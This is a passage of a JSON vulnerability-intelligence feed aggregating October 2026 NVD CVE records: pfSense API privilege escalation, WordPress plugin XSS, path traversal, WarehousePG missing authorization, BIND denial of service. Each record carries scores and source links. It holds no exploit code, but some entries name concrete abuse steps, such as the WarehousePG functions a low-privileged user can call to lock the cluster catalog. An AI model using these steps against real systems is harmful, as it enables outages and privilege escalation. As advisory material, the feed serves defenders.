2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113779","cveId":"CVE-2026-113779","aliases":[],"kind":"vulnerability","title":"The pfSense REST API package is an unofficial, open-source REST and GraphQL API for pfSense CE and pfSense Plus firewalls.","summary":"The pfSense REST API package is an unofficial, open-source REST and GraphQL API for pfSense CE and pfSense Plus firewalls. A privilege escalation vulnerability in pfSense-pkg-RESTAPI prior to version 2.9.0 allows authenticated accounts holding the dedicated settings sync permission to modify REST API configuration secrets. This enables a non-administrative user to elevate their privileges to a full administrator. pfSense-pkg-RESTAPI 2.9.0 patches the issue. Access to the HA settings sync endpoint now strictly requires full administrative privileges (`page-all`). The sub-administrative sync privilege has been removed in versions v2.9.0 and later. In addition to correcting the access control boundary, version 2.9.0 includes the following hardening measures: opt-in default and format and validation modernization. As a workaround, one may mitigate exposure by taking either or all of the following steps. Revoke Scoped Permissions: Remove the `api-v2-system-restapi-settings-sync-post` privilege from all non-administrative users. Apply ACLs: Configure REST API Access Control Lists (ACLs) and/or firewall rules to restrict access to API endpoints exclusively to trusted administrator and HA peer IP addresses.","detail":"The pfSense REST API package is an unofficial, open-source REST and GraphQL API for pfSense CE and pfSense Plus firewalls. A privilege escalation vulnerability in pfSense-pkg-RESTAPI prior to version 2.9.0 allows authenticated accounts holding the dedicated settings sync permission to modify REST API configuration secrets. This enables a non-administrative user to elevate their privileges to a full administrator. pfSense-pkg-RESTAPI 2.9.0 patches the issue. Access to the HA settings sync endpoint now strictly requires full administrative privileges (`page-all`). The sub-administrative sync privilege has been removed in versions v2.9.0 and later. In addition to correcting the access control boundary, version 2.9.0 includes the following hardening measures: opt-in default and format and validation modernization. As a workaround, one may mitigate exposure by taking either or all of the following steps. Revoke Scoped Permissions: Remove the `api-v2-system-restapi-settings-sync-post` privilege from all non-administrative users. Apply ACLs: Configure REST API Access Control Lists (ACLs) and/or firewall rules to restrict access to API endpoints exclusively to trusted administrator and HA peer IP addresses.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:16.553Z","updatedAt":"2026-10-22T17:29:28.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":["pfSense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113779","asOf":"2026-10-22T17:29:28.470Z"},"epss":{"probability":0.0041,"percentile":0.34942,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113779&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113779","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113779","type":"primary","publishedAt":"2026-10-21T15:17:16.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113779&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113779, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112221","cveId":"CVE-2026-112221","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Stored XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Stored XSS.This issue affects SureCart: from n/a through 4.9.5.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Stored XSS.This issue affects SureCart: from n/a through 4.9.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:16.267Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112221","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00202,"percentile":0.09996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112221","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112221","type":"primary","publishedAt":"2026-10-21T15:17:16.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111848","cveId":"CVE-2026-111848","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn  Geo Mashup geo-mashup allows Reflected XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn  Geo Mashup geo-mashup allows Reflected XSS.This issue affects  Geo Mashup: from n/a through 1.13.22.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn  Geo Mashup geo-mashup allows Reflected XSS.This issue affects  Geo Mashup: from n/a through 1.13.22.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:16.013Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111848","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00202,"percentile":0.09995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111848&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111848","type":"primary","publishedAt":"2026-10-21T15:17:16.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111848&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111848, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111840","cveId":"CVE-2026-111840","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.14.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:15.890Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111840","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00202,"percentile":0.09996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111840","type":"primary","publishedAt":"2026-10-21T15:17:15.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111838","cveId":"CVE-2026-111838","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk ThemeHunk Customizer themehunk-customizer allows Reflected XSS.This...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk ThemeHunk Customizer themehunk-customizer allows Reflected XSS.This issue affects ThemeHunk Customizer: from n/a through 2.8.7.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk ThemeHunk Customizer themehunk-customizer allows Reflected XSS.This issue affects ThemeHunk Customizer: from n/a through 2.8.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:15.763Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111838","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00202,"percentile":0.09996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111838","type":"primary","publishedAt":"2026-10-21T15:17:15.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111833","cveId":"CVE-2026-111833","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Bold Grid weForms weforms allows Path Traversal.This issue affects weForms: from...","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Bold Grid weForms weforms allows Path Traversal.This issue affects weForms: from n/a through 1.6.28.","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Bold Grid weForms weforms allows Path Traversal.This issue affects weForms: from n/a through 1.6.28.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:15.260Z","updatedAt":"2026-10-21T18:19:16.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111833","asOf":"2026-10-21T18:19:16.950Z"},"epss":{"probability":0.00479,"percentile":0.41028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111833","type":"primary","publishedAt":"2026-10-21T15:17:15.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-7356","cveId":"CVE-2023-7356","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID\n\nCopy the content of a Periodic Advertisement Report to BASE only if\nthe service UUID is Basic Audio Announcement Service UUID.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Copy BASE if service data matches EIR_BAA_SERVICE_UUID\n\nCopy the content of a Periodic Advertisement Report to BASE only if\nthe service UUID is Basic Audio Announcement Service UUID.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T15:17:12.440Z","updatedAt":"2026-10-26T07:17:05.437Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2023-7356","asOf":"2026-10-26T07:17:05.437Z"},"epss":{"probability":0.00285,"percentile":0.2086,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-7356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2023-7356","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-7356","type":"primary","publishedAt":"2026-10-21T15:17:12.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-7356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-7356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"wired-this-is-not-a-drill-2-php-vulnerabilities-are-setting-the-internet-on-fire-24b79b6be13d","cveId":null,"aliases":[],"kind":"vulnerability","title":"‘This Is Not a Drill’: Critical PHP Vulnerabilities Are Setting the Internet on Fire","summary":"The PHP Foundation has revealed two serious vulnerabilities that could impact millions of websites. Security experts warn that failure to quickly patch the flaws could have dire consequences.","detail":"The PHP Foundation has revealed two serious vulnerabilities that could impact millions of websites. Security experts warn that failure to quickly patch the flaws could have dire consequences.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-21T14:26:19.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"WIRED Security: ‘This Is Not a Drill’: Critical PHP Vulnerabilities Are Setting the Internet on Fire","url":"https://www.wired.com/story/this-is-not-a-drill-2-php-vulnerabilities-are-setting-the-internet-on-fire/","type":"reporting","publishedAt":"2026-10-21T14:26:19.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"WIRED Security syndication feed","url":"https://www.wired.com/feed/category/security/latest/rss","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114249","cveId":"CVE-2026-114249","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. This vulnerability...","summary":"A vulnerability was detected in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. This vulnerability affects unknown code of the file /Agent/includes/UpdatePolicyHolder-inc.php of the component Policy Holder Update Form. The manipulation of the argument Policy_no results in improper authorization. It is possible to launch the attack remotely. The exploit is now public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. This vulnerability affects unknown code of the file /Agent/includes/UpdatePolicyHolder-inc.php of the component Policy Holder Update Form. The manipulation of the argument Policy_no results in improper authorization. It is possible to launch the attack remotely. The exploit is now public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T14:17:13.943Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114249","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00301,"percentile":0.22592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114249","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114249","type":"primary","publishedAt":"2026-10-21T14:17:13.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104948","cveId":"CVE-2026-104948","aliases":[],"kind":"vulnerability","title":"WarehousePG (WHPG) 6.27.1 through 6.27.6 and 7.2.1 through 7.6.0 are affected by a missing authorization vulnerability (CWE-862) in the built-in cluster expansion functions...","summary":"WarehousePG (WHPG) 6.27.1 through 6.27.6 and 7.2.1 through 7.6.0 are affected by a missing authorization vulnerability (CWE-862) in the built-in cluster expansion functions gp_expand_lock_catalog() and gp_expand_bump_version(). Any authenticated database role can run them, and neither checks privileges. A low-privileged user can call gp_expand_lock_catalog() inside an open transaction to block all catalog changes across the cluster for every user, superusers included, until that transaction ends, which in practice requires a superuser to terminate the session. Blocked changes include DDL, temporary table creation, GRANT and CREATE ROLE. The same user can call gp_expand_bump_version() repeatedly. Each call disconnects sessions that hold temporary tables, with a FATAL error on their next catalog change, and makes every other session rebuild its segment connections.","detail":"WarehousePG (WHPG) 6.27.1 through 6.27.6 and 7.2.1 through 7.6.0 are affected by a missing authorization vulnerability (CWE-862) in the built-in cluster expansion functions gp_expand_lock_catalog() and gp_expand_bump_version(). Any authenticated database role can run them, and neither checks privileges. A low-privileged user can call gp_expand_lock_catalog() inside an open transaction to block all catalog changes across the cluster for every user, superusers included, until that transaction ends, which in practice requires a superuser to terminate the session. Blocked changes include DDL, temporary table creation, GRANT and CREATE ROLE. The same user can call gp_expand_bump_version() repeatedly. Each call disconnects sessions that hold temporary tables, with a FATAL error on their next catalog change, and makes every other session rebuild its segment connections.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T14:17:09.083Z","updatedAt":"2026-10-22T16:58:51.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104948","asOf":"2026-10-22T16:58:51.997Z"},"epss":{"probability":0.00216,"percentile":0.11936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104948","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104948","type":"primary","publishedAt":"2026-10-21T14:17:09.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97313","cveId":"CVE-2026-97313","aliases":[],"kind":"vulnerability","title":"A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of...","summary":"A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of service. To be vulnerable, the BIND server must allow recursive queries and have at least two RPZ zones configured: one with the default setting of \"recursive-only yes\", and the other with \"recursive-only no\".\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.","detail":"A recursive BIND server that receives a query with recursion desired (RD=1) followed by a non-recursive query (RD=0) may exit with an assertion failure, resulting in a denial of service. To be vulnerable, the BIND server must allow recursive queries and have at least two 